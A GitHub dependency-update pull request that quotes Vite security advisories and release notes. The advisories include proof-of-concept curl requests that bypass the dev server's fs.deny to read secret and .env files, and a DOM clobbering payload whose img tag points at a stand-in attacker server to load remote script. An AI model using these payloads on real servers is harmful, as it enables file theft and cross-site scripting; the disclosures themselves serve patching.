Leko / crx-gcal-url-opener

Chrome extension that automatically opens Zoom, Google Meet, Teams, and other meeting URLs associated with your Google Calendar shortly before the meeting starts.
https://chrome.google.com/webstore/detail/crx-gcal-url-opener/pjginhohpenlemfdcjbahjbhnpinfnlm
MIT License
96 stars 8 forks source link

chore(deps): update dependency vite to v5 [security] #85

Open renovate[bot] opened 3 months ago

renovate[bot] commented 3 months ago

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vite (source) ^3.0.0 -> ^5.0.0 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2023-34092

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: proof-1\nproof-2

CVE-2024-23331

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

  1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
  2. Created dummy secret files, e.g. custom.secret and production.pem
  3. Populated vite.config.js with
    export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

  1. curl -s http://20.12.242.81:5173/@​fs//
    • Descriptive error page reveals absolute filesystem path to project root
  2. curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
    • Discoverable configuration file reveals locations of secrets
  3. curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
    • Secrets are directly accessible using case-augmented version of filename

Proof Screenshot 2024-01-19 022736

Impact

Who

What

CVE-2024-31207

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Release Notes

vitejs/vite (vite) ### [`v5.2.14`](https://redirect.github.com/vitejs/vite/releases/tag/v5.2.14) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.13...v5.2.14) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.2.14/packages/vite/CHANGELOG.md) for details. ### [`v5.2.13`](https://redirect.github.com/vitejs/vite/releases/tag/v5.2.13) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.12...v5.2.13) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.2.13/packages/vite/CHANGELOG.md) for details. ### [`v5.2.12`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5212-2024-05-28-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.11...v5.2.12) - chore: move to eslint flat config ([#​16743](https://redirect.github.com/vitejs/vite/issues/16743)) ([8f16765](https://redirect.github.com/vitejs/vite/commit/8f16765)), closes [#​16743](https://redirect.github.com/vitejs/vite/issues/16743) - chore(deps): remove unused deps ([#​17329](https://redirect.github.com/vitejs/vite/issues/17329)) ([5a45745](https://redirect.github.com/vitejs/vite/commit/5a45745)), closes [#​17329](https://redirect.github.com/vitejs/vite/issues/17329) - chore(deps): update all non-major dependencies ([#​16722](https://redirect.github.com/vitejs/vite/issues/16722)) ([b45922a](https://redirect.github.com/vitejs/vite/commit/b45922a)), closes [#​16722](https://redirect.github.com/vitejs/vite/issues/16722) - fix: mention `build.rollupOptions.output.manualChunks` instead of `build.rollupOutput.manualChunks` ([89378c0](https://redirect.github.com/vitejs/vite/commit/89378c0)), closes [#​16721](https://redirect.github.com/vitejs/vite/issues/16721) - fix(build): make SystemJSWrapRE match lazy ([#​16633](https://redirect.github.com/vitejs/vite/issues/16633)) ([6583ad2](https://redirect.github.com/vitejs/vite/commit/6583ad2)), closes [#​16633](https://redirect.github.com/vitejs/vite/issues/16633) - fix(css): avoid generating empty JS files when JS files becomes empty but has CSS files imported ([#​1](https://redirect.github.com/vitejs/vite/issues/1) ([95fe5a7](https://redirect.github.com/vitejs/vite/commit/95fe5a7)), closes [#​16078](https://redirect.github.com/vitejs/vite/issues/16078) - fix(css): handle lightningcss compiled css in Deno ([#​17301](https://redirect.github.com/vitejs/vite/issues/17301)) ([8e4e932](https://redirect.github.com/vitejs/vite/commit/8e4e932)), closes [#​17301](https://redirect.github.com/vitejs/vite/issues/17301) - fix(css): only use files the current bundle contains ([#​16684](https://redirect.github.com/vitejs/vite/issues/16684)) ([15a6ebb](https://redirect.github.com/vitejs/vite/commit/15a6ebb)), closes [#​16684](https://redirect.github.com/vitejs/vite/issues/16684) - fix(css): page reload was not happening with .css?raw ([#​16455](https://redirect.github.com/vitejs/vite/issues/16455)) ([8041846](https://redirect.github.com/vitejs/vite/commit/8041846)), closes [#​16455](https://redirect.github.com/vitejs/vite/issues/16455) - fix(deps): update all non-major dependencies ([#​16603](https://redirect.github.com/vitejs/vite/issues/16603)) ([6711553](https://redirect.github.com/vitejs/vite/commit/6711553)), closes [#​16603](https://redirect.github.com/vitejs/vite/issues/16603) - fix(deps): update all non-major dependencies ([#​16660](https://redirect.github.com/vitejs/vite/issues/16660)) ([bf2f014](https://redirect.github.com/vitejs/vite/commit/bf2f014)), closes [#​16660](https://redirect.github.com/vitejs/vite/issues/16660) - fix(deps): update all non-major dependencies ([#​17321](https://redirect.github.com/vitejs/vite/issues/17321)) ([4a89766](https://redirect.github.com/vitejs/vite/commit/4a89766)), closes [#​17321](https://redirect.github.com/vitejs/vite/issues/17321) - fix(error-logging): rollup errors weren't displaying id and codeframe ([#​16540](https://redirect.github.com/vitejs/vite/issues/16540)) ([22dc196](https://redirect.github.com/vitejs/vite/commit/22dc196)), closes [#​16540](https://redirect.github.com/vitejs/vite/issues/16540) - fix(hmr): normalize the path info ([#​14255](https://redirect.github.com/vitejs/vite/issues/14255)) ([6a085d0](https://redirect.github.com/vitejs/vite/commit/6a085d0)), closes [#​14255](https://redirect.github.com/vitejs/vite/issues/14255) - fix(hmr): trigger page reload when calling invalidate on root module ([#​16636](https://redirect.github.com/vitejs/vite/issues/16636)) ([2b61cc3](https://redirect.github.com/vitejs/vite/commit/2b61cc3)), closes [#​16636](https://redirect.github.com/vitejs/vite/issues/16636) - fix(logger): truncate log over 5000 characters long ([#​16581](https://redirect.github.com/vitejs/vite/issues/16581)) ([b0b839a](https://redirect.github.com/vitejs/vite/commit/b0b839a)), closes [#​16581](https://redirect.github.com/vitejs/vite/issues/16581) - fix(optimizer): log dependencies added by plugins ([#​16729](https://redirect.github.com/vitejs/vite/issues/16729)) ([f0fb987](https://redirect.github.com/vitejs/vite/commit/f0fb987)), closes [#​16729](https://redirect.github.com/vitejs/vite/issues/16729) - fix(sourcemap): improve sourcemap compatibility for vue2 ([#​16594](https://redirect.github.com/vitejs/vite/issues/16594)) ([913c040](https://redirect.github.com/vitejs/vite/commit/913c040)), closes [#​16594](https://redirect.github.com/vitejs/vite/issues/16594) - docs: correct proxy shorthand example ([#​15938](https://redirect.github.com/vitejs/vite/issues/15938)) ([abf766e](https://redirect.github.com/vitejs/vite/commit/abf766e)), closes [#​15938](https://redirect.github.com/vitejs/vite/issues/15938) - docs: deprecate server.hot ([#​16741](https://redirect.github.com/vitejs/vite/issues/16741)) ([e7d38ab](https://redirect.github.com/vitejs/vite/commit/e7d38ab)), closes [#​16741](https://redirect.github.com/vitejs/vite/issues/16741) ### [`v5.2.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5211-2024-05-02-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.10...v5.2.11) - feat: improve dynamic import variable failure error message ([#​16519](https://redirect.github.com/vitejs/vite/issues/16519)) ([f8feeea](https://redirect.github.com/vitejs/vite/commit/f8feeea)), closes [#​16519](https://redirect.github.com/vitejs/vite/issues/16519) - fix: dynamic-import-vars plugin normalize path issue ([#​16518](https://redirect.github.com/vitejs/vite/issues/16518)) ([f71ba5b](https://redirect.github.com/vitejs/vite/commit/f71ba5b)), closes [#​16518](https://redirect.github.com/vitejs/vite/issues/16518) - fix: scripts and styles were missing from built HTML on Windows ([#​16421](https://redirect.github.com/vitejs/vite/issues/16421)) ([0e93f58](https://redirect.github.com/vitejs/vite/commit/0e93f58)), closes [#​16421](https://redirect.github.com/vitejs/vite/issues/16421) - fix(deps): update all non-major dependencies ([#​16488](https://redirect.github.com/vitejs/vite/issues/16488)) ([2d50be2](https://redirect.github.com/vitejs/vite/commit/2d50be2)), closes [#​16488](https://redirect.github.com/vitejs/vite/issues/16488) - fix(deps): update all non-major dependencies ([#​16549](https://redirect.github.com/vitejs/vite/issues/16549)) ([2d6a13b](https://redirect.github.com/vitejs/vite/commit/2d6a13b)), closes [#​16549](https://redirect.github.com/vitejs/vite/issues/16549) - fix(dev): watch publicDir explicitly to include it outside the root ([#​16502](https://redirect.github.com/vitejs/vite/issues/16502)) ([4d83eb5](https://redirect.github.com/vitejs/vite/commit/4d83eb5)), closes [#​16502](https://redirect.github.com/vitejs/vite/issues/16502) - fix(preload): skip preload for non-static urls ([#​16556](https://redirect.github.com/vitejs/vite/issues/16556)) ([bb79c9b](https://redirect.github.com/vitejs/vite/commit/bb79c9b)), closes [#​16556](https://redirect.github.com/vitejs/vite/issues/16556) - fix(ssr): handle class declaration and expression name scoping ([#​16569](https://redirect.github.com/vitejs/vite/issues/16569)) ([c071eb3](https://redirect.github.com/vitejs/vite/commit/c071eb3)), closes [#​16569](https://redirect.github.com/vitejs/vite/issues/16569) - fix(ssr): handle function expression name scoping ([#​16563](https://redirect.github.com/vitejs/vite/issues/16563)) ([02db947](https://redirect.github.com/vitejs/vite/commit/02db947)), closes [#​16563](https://redirect.github.com/vitejs/vite/issues/16563) ### [`v5.2.10`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5210-2024-04-20-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.9...v5.2.10) - revert: perf: use workspace root for fs cache ([#​15712](https://redirect.github.com/vitejs/vite/issues/15712)) ([#​16476](https://redirect.github.com/vitejs/vite/issues/16476)) ([77e7359](https://redirect.github.com/vitejs/vite/commit/77e7359)), closes [#​15712](https://redirect.github.com/vitejs/vite/issues/15712) [#​16476](https://redirect.github.com/vitejs/vite/issues/16476) - fix: add base to virtual html ([#​16442](https://redirect.github.com/vitejs/vite/issues/16442)) ([721f94d](https://redirect.github.com/vitejs/vite/commit/721f94d)), closes [#​16442](https://redirect.github.com/vitejs/vite/issues/16442) - fix: adjust esm syntax judgment logic ([#​16436](https://redirect.github.com/vitejs/vite/issues/16436)) ([af72eab](https://redirect.github.com/vitejs/vite/commit/af72eab)), closes [#​16436](https://redirect.github.com/vitejs/vite/issues/16436) - fix: don't add outDirs to watch.ignored if emptyOutDir is false ([#​16453](https://redirect.github.com/vitejs/vite/issues/16453)) ([6a127d6](https://redirect.github.com/vitejs/vite/commit/6a127d6)), closes [#​16453](https://redirect.github.com/vitejs/vite/issues/16453) - fix(cspNonce): don't overwrite existing nonce values ([#​16415](https://redirect.github.com/vitejs/vite/issues/16415)) ([b872635](https://redirect.github.com/vitejs/vite/commit/b872635)), closes [#​16415](https://redirect.github.com/vitejs/vite/issues/16415) - feat: show warning if root is in build.outDir ([#​16454](https://redirect.github.com/vitejs/vite/issues/16454)) ([11444dc](https://redirect.github.com/vitejs/vite/commit/11444dc)), closes [#​16454](https://redirect.github.com/vitejs/vite/issues/16454) - feat: write cspNonce to style tags ([#​16419](https://redirect.github.com/vitejs/vite/issues/16419)) ([8e54bbd](https://redirect.github.com/vitejs/vite/commit/8e54bbd)), closes [#​16419](https://redirect.github.com/vitejs/vite/issues/16419) - chore(deps): update dependency eslint-plugin-n to v17 ([#​16381](https://redirect.github.com/vitejs/vite/issues/16381)) ([6cccef7](https://redirect.github.com/vitejs/vite/commit/6cccef7)), closes [#​16381](https://redirect.github.com/vitejs/vite/issues/16381) ### [`v5.2.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small529-2024-04-15-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.8...v5.2.9) - fix: `fsp.rm` removing files does not take effect ([#​16032](https://redirect.github.com/vitejs/vite/issues/16032)) ([b05c405](https://redirect.github.com/vitejs/vite/commit/b05c405)), closes [#​16032](https://redirect.github.com/vitejs/vite/issues/16032) - fix: fix accumulated stacks in error overlay ([#​16393](https://redirect.github.com/vitejs/vite/issues/16393)) ([102c2fd](https://redirect.github.com/vitejs/vite/commit/102c2fd)), closes [#​16393](https://redirect.github.com/vitejs/vite/issues/16393) - fix(deps): update all non-major dependencies ([#​16376](https://redirect.github.com/vitejs/vite/issues/16376)) ([58a2938](https://redirect.github.com/vitejs/vite/commit/58a2938)), closes [#​16376](https://redirect.github.com/vitejs/vite/issues/16376) - chore: update region comment ([#​16380](https://redirect.github.com/vitejs/vite/issues/16380)) ([77562c3](https://redirect.github.com/vitejs/vite/commit/77562c3)), closes [#​16380](https://redirect.github.com/vitejs/vite/issues/16380) - perf: reduce size of injected \__vite\_\_mapDeps code ([#​16184](https://redirect.github.com/vitejs/vite/issues/16184)) ([c0ec6be](https://redirect.github.com/vitejs/vite/commit/c0ec6be)), closes [#​16184](https://redirect.github.com/vitejs/vite/issues/16184) - perf(css): only replace empty chunk if imported ([#​16349](https://redirect.github.com/vitejs/vite/issues/16349)) ([e2658ad](https://redirect.github.com/vitejs/vite/commit/e2658ad)), closes [#​16349](https://redirect.github.com/vitejs/vite/issues/16349) ### [`v5.2.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small528-2024-04-03-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.7...v5.2.8) - fix: csp nonce injection when no closing tag ([#​16281](https://redirect.github.com/vitejs/vite/issues/16281)) ([#​16282](https://redirect.github.com/vitejs/vite/issues/16282)) ([3c85c6b](https://redirect.github.com/vitejs/vite/commit/3c85c6b)), closes [#​16281](https://redirect.github.com/vitejs/vite/issues/16281) [#​16282](https://redirect.github.com/vitejs/vite/issues/16282) - fix: do not access document in `/@​vite/client` when not defined ([#​16318](https://redirect.github.com/vitejs/vite/issues/16318)) ([646319c](https://redirect.github.com/vitejs/vite/commit/646319c)), closes [#​16318](https://redirect.github.com/vitejs/vite/issues/16318) - fix: fix sourcemap when using object as `define` value ([#​15805](https://redirect.github.com/vitejs/vite/issues/15805)) ([445c4f2](https://redirect.github.com/vitejs/vite/commit/445c4f2)), closes [#​15805](https://redirect.github.com/vitejs/vite/issues/15805) - fix(css): unknown file error happened with lightningcss ([#​16306](https://redirect.github.com/vitejs/vite/issues/16306)) ([01af308](https://redirect.github.com/vitejs/vite/commit/01af308)), closes [#​16306](https://redirect.github.com/vitejs/vite/issues/16306) - fix(hmr): multiple updates happened when invalidate is called while multiple tabs open ([#​16307](https://redirect.github.com/vitejs/vite/issues/16307)) ([21cc10b](https://redirect.github.com/vitejs/vite/commit/21cc10b)), closes [#​16307](https://redirect.github.com/vitejs/vite/issues/16307) - fix(scanner): duplicate modules for same id if glob is used in html-like types ([#​16305](https://redirect.github.com/vitejs/vite/issues/16305)) ([eca68fa](https://redirect.github.com/vitejs/vite/commit/eca68fa)), closes [#​16305](https://redirect.github.com/vitejs/vite/issues/16305) - chore(deps): update all non-major dependencies ([#​16325](https://redirect.github.com/vitejs/vite/issues/16325)) ([a78e265](https://redirect.github.com/vitejs/vite/commit/a78e265)), closes [#​16325](https://redirect.github.com/vitejs/vite/issues/16325) - refactor: use types from sass instead of [@​types/sass](https://redirect.github.com/types/sass) ([#​16340](https://redirect.github.com/vitejs/vite/issues/16340)) ([4581e83](https://redirect.github.com/vitejs/vite/commit/4581e83)), closes [#​16340](https://redirect.github.com/vitejs/vite/issues/16340) ### [`v5.2.7`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small527-2024-03-29-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.6...v5.2.7) - chore: deprecate splitVendorChunkPlugin ([#​16274](https://redirect.github.com/vitejs/vite/issues/16274)) ([45a06da](https://redirect.github.com/vitejs/vite/commit/45a06da)), closes [#​16274](https://redirect.github.com/vitejs/vite/issues/16274) - fix: skip injecting `__vite__mapDeps` when it's not used ([#​16271](https://redirect.github.com/vitejs/vite/issues/16271)) ([890538a](https://redirect.github.com/vitejs/vite/commit/890538a)), closes [#​16271](https://redirect.github.com/vitejs/vite/issues/16271) - fix(deps): update all non-major dependencies ([#​16258](https://redirect.github.com/vitejs/vite/issues/16258)) ([7caef42](https://redirect.github.com/vitejs/vite/commit/7caef42)), closes [#​16258](https://redirect.github.com/vitejs/vite/issues/16258) - fix(hmr): don't mutate module graph when collecting modules ([#​16302](https://redirect.github.com/vitejs/vite/issues/16302)) ([dfffea1](https://redirect.github.com/vitejs/vite/commit/dfffea1)), closes [#​16302](https://redirect.github.com/vitejs/vite/issues/16302) - fix(hmr): trigger hmr for missing file import errored module after file creation ([#​16303](https://redirect.github.com/vitejs/vite/issues/16303)) ([ffedc06](https://redirect.github.com/vitejs/vite/commit/ffedc06)), closes [#​16303](https://redirect.github.com/vitejs/vite/issues/16303) - fix(sourcemap): don't warn even if the sourcesContent is an empty string ([#​16273](https://redirect.github.com/vitejs/vite/issues/16273)) ([24e376a](https://redirect.github.com/vitejs/vite/commit/24e376a)), closes [#​16273](https://redirect.github.com/vitejs/vite/issues/16273) - feat(hmr): reload when HTML file is created/deleted ([#​16288](https://redirect.github.com/vitejs/vite/issues/16288)) ([1f53796](https://redirect.github.com/vitejs/vite/commit/1f53796)), closes [#​16288](https://redirect.github.com/vitejs/vite/issues/16288) ### [`v5.2.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small526-2024-03-24-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.5...v5.2.6) - fix: `fs.deny` with globs with directories ([#​16250](https://redirect.github.com/vitejs/vite/issues/16250)) ([ba5269c](https://redirect.github.com/vitejs/vite/commit/ba5269c)), closes [#​16250](https://redirect.github.com/vitejs/vite/issues/16250) ### [`v5.2.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small525-2024-03-24-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.4...v5.2.5) - fix: avoid SSR requests in waitForRequestIdle ([#​16246](https://redirect.github.com/vitejs/vite/issues/16246)) ([7093f77](https://redirect.github.com/vitejs/vite/commit/7093f77)), closes [#​16246](https://redirect.github.com/vitejs/vite/issues/16246) - docs: clarify enforce vs hook.order ([#​16226](https://redirect.github.com/vitejs/vite/issues/16226)) ([3a73e48](https://redirect.github.com/vitejs/vite/commit/3a73e48)), closes [#​16226](https://redirect.github.com/vitejs/vite/issues/16226) ### [`v5.2.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small524-2024-03-23-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.3...v5.2.4) - fix: dont resolve imports with malformed URI ([#​16244](https://redirect.github.com/vitejs/vite/issues/16244)) ([fbf69d5](https://redirect.github.com/vitejs/vite/commit/fbf69d5)), closes [#​16244](https://redirect.github.com/vitejs/vite/issues/16244) ### [`v5.2.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small523-2024-03-22-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.2...v5.2.3) - fix: handle warmup request error correctly ([#​16223](https://redirect.github.com/vitejs/vite/issues/16223)) ([d7c5256](https://redirect.github.com/vitejs/vite/commit/d7c5256)), closes [#​16223](https://redirect.github.com/vitejs/vite/issues/16223) - fix: skip encode if is data uri ([#​16233](https://redirect.github.com/vitejs/vite/issues/16233)) ([8617e76](https://redirect.github.com/vitejs/vite/commit/8617e76)), closes [#​16233](https://redirect.github.com/vitejs/vite/issues/16233) - fix(optimizer): fix `optimizeDeps.include` glob syntax for `./*` exports ([#​16230](https://redirect.github.com/vitejs/vite/issues/16230)) ([f184c80](https://redirect.github.com/vitejs/vite/commit/f184c80)), closes [#​16230](https://redirect.github.com/vitejs/vite/issues/16230) - fix(runtime): fix sourcemap with `prepareStackTrace` ([#​16220](https://redirect.github.com/vitejs/vite/issues/16220)) ([dad7f4f](https://redirect.github.com/vitejs/vite/commit/dad7f4f)), closes [#​16220](https://redirect.github.com/vitejs/vite/issues/16220) - chore: `utf8` replaced with `utf-8` ([#​16232](https://redirect.github.com/vitejs/vite/issues/16232)) ([9800c73](https://redirect.github.com/vitejs/vite/commit/9800c73)), closes [#​16232](https://redirect.github.com/vitejs/vite/issues/16232) ### [`v5.2.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small522-2024-03-20-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.1...v5.2.2) - fix(importAnalysis): skip encode in ssr ([#​16213](https://redirect.github.com/vitejs/vite/issues/16213)) ([e4d2d60](https://redirect.github.com/vitejs/vite/commit/e4d2d60)), closes [#​16213](https://redirect.github.com/vitejs/vite/issues/16213) ### [`v5.2.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small521-2024-03-20-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.0...v5.2.1) - fix: encode path uri only ([#​16212](https://redirect.github.com/vitejs/vite/issues/16212)) ([0b2e40b](https://redirect.github.com/vitejs/vite/commit/0b2e40b)), closes [#​16212](https://redirect.github.com/vitejs/vite/issues/16212) ### [`v5.2.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#520-2024-03-20) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.8...v5.2.0) - fix: update client.ts@cleanUrl to accomodate blob protocol ([#​16182](https://redirect.github.com/vitejs/vite/issues/16182)) ([1a3b1d7](https://redirect.github.com/vitejs/vite/commit/1a3b1d7)), closes [#​16182](https://redirect.github.com/vitejs/vite/issues/16182) - fix(assets): avoid splitting `,` inside query parameter of image URI in srcset property ([#​16081](https://redirect.github.com/vitejs/vite/issues/16081)) ([50caf67](https://redirect.github.com/vitejs/vite/commit/50caf67)), closes [#​16081](https://redirect.github.com/vitejs/vite/issues/16081) - chore(deps): update all non-major dependencies ([#​16186](https://redirect.github.com/vitejs/vite/issues/16186)) ([842643d](https://redirect.github.com/vitejs/vite/commit/842643d)), closes [#​16186](https://redirect.github.com/vitejs/vite/issues/16186) - perf(transformRequest): fast-path watch and sourcemap handling ([#​16170](https://redirect.github.com/vitejs/vite/issues/16170)) ([de60f1e](https://redirect.github.com/vitejs/vite/commit/de60f1e)), closes [#​16170](https://redirect.github.com/vitejs/vite/issues/16170) - docs: add `@shikiji/vitepress-twoslash` ([#​16168](https://redirect.github.com/vitejs/vite/issues/16168)) ([6f8a320](https://redirect.github.com/vitejs/vite/commit/6f8a320)), closes 